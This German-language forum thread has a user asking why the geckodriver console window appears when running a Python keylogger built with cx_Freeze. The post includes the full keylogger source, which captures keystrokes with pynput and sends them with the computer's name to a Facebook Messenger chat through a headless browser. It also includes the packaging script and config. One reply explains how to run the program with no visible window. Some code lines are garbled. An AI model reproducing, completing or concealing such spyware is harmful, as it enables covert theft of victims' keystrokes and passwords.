Geckodriver wird Angezeigt warum?
Ich habe ein Problem ich Arbeite mit Python 3.6 64-bit und möchte ein Keylogger Proggramieren Das script ist fertig und jetzt gehts ans ausbessern wie z.B. das proggram zu einer .exe convertieren alles das habe ich mit cx-freeze geschaft und alles funktioniert doch wenn ich das proggram Starte wird die console von Geckodriver.exe angezeigt. wie kann ich das switchen so das sie nicht mehr angezeigt wird?
PS: Den Browser selbst wird nicht Angezeigt das havmbe ich schon Ausgeschaltet
4 Antworten
Hier ist mal der Code von dem Ganzen:
import Computer
import threading
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from pynput.keyboard import Key, Listener
from pynput.mouse import Button, Controller
from tkinter import Tk
import queue
import hashlib
import os
stoppw = '9bf1b8806f06f5a05d4dfe72c0cdce027f0d7a56b232d4a60220b7da565f3589524f3a8895872d33facc646bdaaabf3e76e166feb9baa526236fdc0a050bb129'
seeBrowser = False
wait_for_keys = 20 #mindestens 10
keys_acceptet = 0
keys = []
new_key = False
key_name = ''
text_field = ''
text_submit = ''
loop = True
try:
os.remove('Stop')
except:
pass
class secret:
class Facebook:
shttps://www.facebook.com/m/m//m/'
text_site = 'https://www.facebook.com/messages/t/[name der seite]'
user = ''
email = ''
pw = ''
class XPath:
login_email = '//*[@id="email"]'
login_pw = '//*[@id="pass"]'
login_submit = '//input[@value="Anmelden"][@aria-label="Anmelden"][@data-testid="royal_login_button"][@type="submit"]'
text_field = '/html/body/div[1]/div[3]/div[1]/div/div/div/div[2]/span/div[2]/div[2]/div[2]/div[1]/div/div[1]/div/div[1]/div/div[2]/div[@role="combobox"]'
text_submit = '/html/body/div[1]/div[3]/div[1]/div/div/div/div[2]/span/div[2]/div[2]/div[2]/div[1]/div/div[2]/a[@role="button"][@href="#"]'
Profile = webdriver.FirefoxProfile()
Profile.set_preference("dom.webnotifications.enabled", False)
Options = webdriver.FirefoxOptions()
if seeBrowser == False:
Options.add_argument('--headless')
driver = webdriver.Firefox(firefox_profile=Profile, firefox_options=Options)
def log_in(XPath_email, email, XPath_pw, pw, XPath_submit):
try:
XPath_email.send_keys(email)
XPath_pw.send_keys(pw)
XPath_submit.click()
except:
return False
else:
return True
def send_Facebook(text):
global text_field
global text_submit
try:
driver.get(secret.Facebook.text_site)
text_field = driver.find_element_by_xpath(XPath.text_field)
text_field.send_keys(text)
text_submit = driver.find_element_by_xpath(XPath.text_submit)
text_submit.click()
first_time = 1
except:
send_Facebook(text)
def on_press(key):
nothing = 0
def on_release(key):
global new_key
global keys
global wait_for_keys
global keys_acceptet
keys_acceptet = keys_acceptet + 1
keys.append(key)
if keys_acceptet == wait_for_keys:
keys_acceptet = 0
new_key = True
def key_listener():
listener = Listener(on_press = on_press, on_release = on_release)
listener.start()
def send_keys():
global keys
global new_key
global key_name
global Sender
global loop
global stoppw
driver.get(secret.Facebook.site)
submit = driver.find_element_by_xpath(XPath.login_submit)
email = driver.find_element_by_xpath(XPath.login_email)
pw = driver.find_element_by_xpath(XPath.login_pw)
if log_in(email, secret.Facebook.email, pw, secret.Facebook.pw, submit) == True:
while loop == True:
try:
file = open('Stop')
for line in file:
sha512pw = hashlib.sha512(line.encode())
if sha512pw.hexdigest() == stoppw:
loop = False
send_Facebook('Stopping on Computer: "' + Computer.name + '"')
else:
raise IndexError
except:
nothing = 0
if True:
if new_key == True:
new_key = False
in_keys = keys
keys = []
tosend = 'Send Keys: "' + str(in_keys) + '" From Computer: "' + Computer.name + '"'
Send = threading.Thread(name='Facebook Sender [Key Logger]', target=send_Facebook(tosend))
else:
raise ValueError
KeyListener = threading.Thread(name='Key Listener [Key Logger]', target=key_listener())
SendKeys = threading.Thread(name='Key Sender [Key Logger]', target=send_keys())
if __name__ == '__main__':
win = Tk()
SendKeys.start()
KeyListener.start()
win.mainloop()
#!/usr/bin/python3from tkinter import Tk# DEIN CODEwin = Tk()win.mainloop()
... Dadurch erstellst du ein GUI-Programm ohne Fenster. Das läuft dann wie ein Dienst weder in der Taskleiste noch am Bildschirm sichtbar. Einzig im Taskmanager findet man den Eintrag.
und die Config.txt dazu ist die hier:
Name = KeyLogger
Version = 1.2
Description = KeyLogger v1.2
Base = Main.py
Packages = sys, email
Include_Files = Driver\DLLs\tk86t.dll, Driver\DLLs\tcl86t.dll, geckodriver.exe
author = [author]
der Geckodriver liegt im selben ordner wie das script
Und das script fürs py to .exe ist das hier:
import sys
import os
from cx_Freeze import setup, Executable
includes_files = []
with open("Config.txt", "r") as f:
for line in f:
if line.startswith("Name = "):
name = line.replace("Name = ", "")
name = name.replace("\n", "")
print(name)
elif line.startswith("Version = "):
version = line.replace("Version = ", "")
version = version.replace("\n", "")
print(version)
elif line.startswith("Description = "):
description = line.replace("Description = ", "")
description = description.replace("\n", "")
print(description)
elif line.startswith("Base = "):
base1 = line.replace("Base = ", "")
base1 = base1.replace("\n", "")
print(base1)
elif line.startswith("Packages = "):
a = line.replace("Packages = ", "")
a = a.replace("\n", "")
b = a.split(", ")
elif line.startswith("Include_Files = "):
file_line = line.replace("Include_Files = ", "")
file_line = file_line.replace("\n", "")
include_files = file_line.split(", ")
print(include_files)
build_exe_options = dict(packages = b,
include_files=include_files,
)
if sys.platform == "win32":
base = "Win32GUI"
os.environ["TCL_LIBRARY"] = r"Driver\tcl8.6"
os.environ["TK_LIBRARY"] = r"Driver\tk8.6"
setup(name=name, version=version, description=description, options={"build_exe": build_exe_options}, executables=[Executable(base1, base=base)])
Das .py to .exe script:
import sys
import os
from cx_Freeze import setup, Executable
includes_files = []
with open("Config.txt", "r") as f:
for line in f:
if line.startswith("Name = "):
name = line.replace("Name = ", "")
name = name.replace("\n", "")
print(name)
elif line.startswith("Version = "):
version = line.replace("Version = ", "")
version = version.replace("\n", "")
print(version)
elif line.startswith("Description = "):
description = line.replace("Description = ", "")
description = description.replace("\n", "")
print(description)
elif line.startswith("Base = "):
base1 = line.replace("Base = ", "")
base1 = base1.replace("\n", "")
print(base1)
elif line.startswith("Packages = "):
a = line.replace("Packages = ", "")
a = a.replace("\n", "")
b = a.split(", ")
elif line.startswith("Include_Files = "):
file_line = line.replace("Include_Files = ", "")
file_line = file_line.replace("\n", "")
include_files = file_line.split(", ")
print(include_files)
build_exe_options = dict(packages = b,
include_files=include_files,
)
if sys.platform == "win32":
base = "Win32GUI"
os.environ["TCL_LIBRARY"] = r"Driver\tcl8.6"
os.environ["TK_LIBRARY"] = r"Driver\tk8.6"
setup(name=name, version=version, description=description, options={"build_exe": build_exe_options}, executables=[Executable(base1, base=base)])
Und die Dazugehörige Config.txt fürs .py to .exe script:
Name = KeyLogger
Version = 1.2
Description = KeyLogger v1.2
Base = Main.py
Packages = sys, email
Include_Files = Driver\DLLs\tk86t.dll, Driver\DLLs\tcl86t.dll, geckodriver.exe
author = [author]
Ja ich weis man den code jetzt noch verbessern aber jetzt geht es erstmal ums Problem
import Computer ist eine .py datei worin nur der name des Computer steht
Ich hab hier einfach mal mich ein bischen ausgetopt
wie man schon bereits sieht hab ich den Tip schon ausprobiert doch es klappt nicht
Es funktioniert leider immer noch nicht warte ich schicke mal den Code: